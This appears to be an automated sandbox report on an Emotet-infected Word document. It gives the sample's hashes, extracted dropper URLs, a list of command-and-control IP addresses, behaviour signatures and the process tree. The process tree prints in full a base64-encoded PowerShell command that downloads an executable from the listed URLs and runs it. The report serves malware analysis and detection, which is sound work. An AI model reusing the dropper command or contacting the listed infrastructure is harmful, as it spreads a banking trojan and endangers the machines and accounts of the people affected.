Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

1

Analysis

  • max time kernel
    62s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    12/08/2020, 11:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_4074e7872cc9e20c155fa1fc00a818c50822830b86f482840b97bd78e152a0ef_2020-08-12__111111._doc.doc
  • Size 231KB
  • Sample200812-mathbm3lwx
  • SHA256 4074e7872cc9e20c155fa1fc00a818c50822830b86f482840b97bd78e152a0ef
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://galaenterprises.com.au/site/6kw_wao_ekmv5w/
  • exe.dropper

    http://cookie.com.br/supleforma/9_j08_39f4phvj/
  • exe.dropper

    http://genevievebeaupre.com/wp-admin/7fd9o_6k_mev/
  • exe.dropper

    http://gazedice.com/loggers/o_rz_46d99/
  • exe.dropper

    https://wb0rur.com/certificates/h3_dmn_vc03ptvqg/

Extracted

Family

  • emotet

C2

  • 174.102.48.180:80

  • 88.217.172.164:443

  • 51.75.33.120:8080

  • 62.138.26.28:8080

  • 169.239.182.217:8080

  • 114.146.222.200:80

  • 116.203.32.252:8080

  • 103.86.49.11:8080

  • 74.120.55.163:80

  • 41.60.200.34:80

  • 209.182.216.177:443

  • 157.245.99.39:8080

  • 87.106.139.101:8080

  • 152.168.248.128:443

  • 104.236.246.93:8080

  • 47.144.21.12:443

  • 139.130.242.43:80

  • 181.230.116.163:80

  • 72.12.127.184:443

  • 61.19.246.238:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_4074e7872cc9e20c155fa1fc00a818c50822830b86f482840b97bd78e152a0ef_2020-08-12__111111._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1104
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABGAEkARQBQAFQAawBjAGcAPQAnAFgASABNAFYARgB2AHcAcgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwBVAHIASQBgAFQAYABZAFAAUgBPAHQATwBDAGAAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAUQBEAFMAQgBQAGIAZgBjACAAPQAgACcANQA4ADIAJwA7ACQAUQBZAFMAQgBLAG4AawBpAD0AJwBJAEgASgBWAEIAegBoAGIAJwA7ACQATABNAEoAQwBRAG8AZgB1AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABRAEQAUwBCAFAAYgBmAGMAKwAnAC4AZQB4AGUAJwA7ACQAVgBTAFkAQQBLAGEAaQBtAD0AJwBVAFkAVwBGAFgAbQBmAGwAJwA7ACQASQBRAEMAUwBGAHMAYwBiAD0AJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAJABUAFAASABHAEYAYwBhAG0APQAnAGgAdAB0AHAAOgAvAC8AZwBhAGwAYQBlAG4AdABlAHIAcAByAGkAcwBlAHMALgBjAG8AbQAuAGEAdQAvAHMAaQB0AGUALwA2AGsAdwBfAHcAYQBvAF8AZQBrAG0AdgA1AHcALwAqAGgAdAB0AHAAOgAvAC8AYwBvAG8AawBpAGUALgBjAG8AbQAuAGIAcgAvAHMAdQBwAGwAZQBmAG8AcgBtAGEALwA5AF8AagAwADgAXwAzADkAZgA0AHAAaAB2AGoALwAqAGgAdAB0AHAAOgAvAC8AZwBlAG4AZQB2AGkAZQB2AGUAYgBlAGEAdQBwAHIAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANwBmAGQAOQBvAF8ANgBrAF8AbQBlAHYALwAqAGgAdAB0AHAAOgAvAC8AZwBhAHoAZQBkAGkAYwBlAC4AYwBvAG0ALwBsAG8AZwBnAGUAcgBzAC8AbwBfAHIAegBfADQANgBkADkAOQAvACoAaAB0AHQAcABzADoALwAvAHcAYgAwAHIAdQByAC4AYwBvAG0ALwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAvAGgAMwBfAGQAbQBuAF8AdgBjADAAMwBwAHQAdgBxAGcALwAnAC4AIgBTAHAATABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE4ARwBUAEIASgBjAHkAeAA9ACcATgBNAEsAVwBYAHUAZQB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABLAFcASwBBAEUAaABuAGoAIABpAG4AIAAkAFQAUABIAEcARgBjAGEAbQApAHsAdAByAHkAewAkAEkAUQBDAFMARgBzAGMAYgAuACIARABPAFcAYABOAGAATABPAEEARABmAGkAYABsAGUAIgAoACQASwBXAEsAQQBFAGgAbgBqACwAIAAkAEwATQBKAEMAUQBvAGYAdQApADsAJABCAFEATwBTAFQAeABsAHAAPQAnAEcARABKAFgAUABwAHEAdQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEwATQBKAEMAUQBvAGYAdQApAC4AIgBMAGAARQBuAGcAdABoACIAIAAtAGcAZQAgADMANQA3ADAANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAGUAYQBgAFQARQAiACgAJABMAE0ASgBDAFEAbwBmAHUAKQA7ACQAVABJAFcAQgBNAHQAdQBhAD0AJwBZAEEAQgBBAEIAcABlAHYAJwA7AGIAcgBlAGEAawA7ACQAVQBOAFYAUQBVAHIAcgB0AD0AJwBRAFgAVgBGAEQAYQBmAGMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBQAEIAWgBaAHgAdABxAD0AJwBGAEQASABJAEsAdQB3AHoAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1092
  • C:\Users\Admin\582.exe
    C:\Users\Admin\582.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1788
    • C:\Windows\SysWOW64\WSDApi\KBDVNTC.exe
      "C:\Windows\SysWOW64\WSDApi\KBDVNTC.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1668

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1092-15-0x0000000002300000-0x0000000002301000-memory.dmp
        Download

        memory/1092-17-0x000000001B790000-0x000000001B791000-memory.dmp
        Download

        memory/1092-10-0x000007FEE98D0000-0x000007FEEA2BC000-memory.dmp
        Download

        memory/1092-13-0x00000000025B0000-0x00000000025B1000-memory.dmp
        Download

        memory/1092-14-0x000000001AC00000-0x000000001AC01000-memory.dmp
        Download

        memory/1092-18-0x000000001C440000-0x000000001C441000-memory.dmp
        Download

        memory/1092-16-0x00000000025F0000-0x00000000025F1000-memory.dmp
        Download

        memory/1104-11-0x0000000002020000-0x0000000002021000-memory.dmp
        Download

        memory/1104-2-0x0000000008860000-0x0000000008864000-memory.dmp
        Download

        memory/1104-7-0x000000000BE50000-0x000000000BE54000-memory.dmp
        Download

        memory/1104-6-0x000000000ADD0000-0x000000000ADD4000-memory.dmp
        Download

        memory/1104-4-0x0000000006CE0000-0x0000000006EE0000-memory.dmp
        Download

        memory/1668-24-0x00000000001F0000-0x00000000001FC000-memory.dmp
        Download

        memory/1788-21-0x0000000000260000-0x000000000026C000-memory.dmp
        Download

        memory/1892-25-0x000007FEEEB30000-0x000007FEEEDAA000-memory.dmp
        Download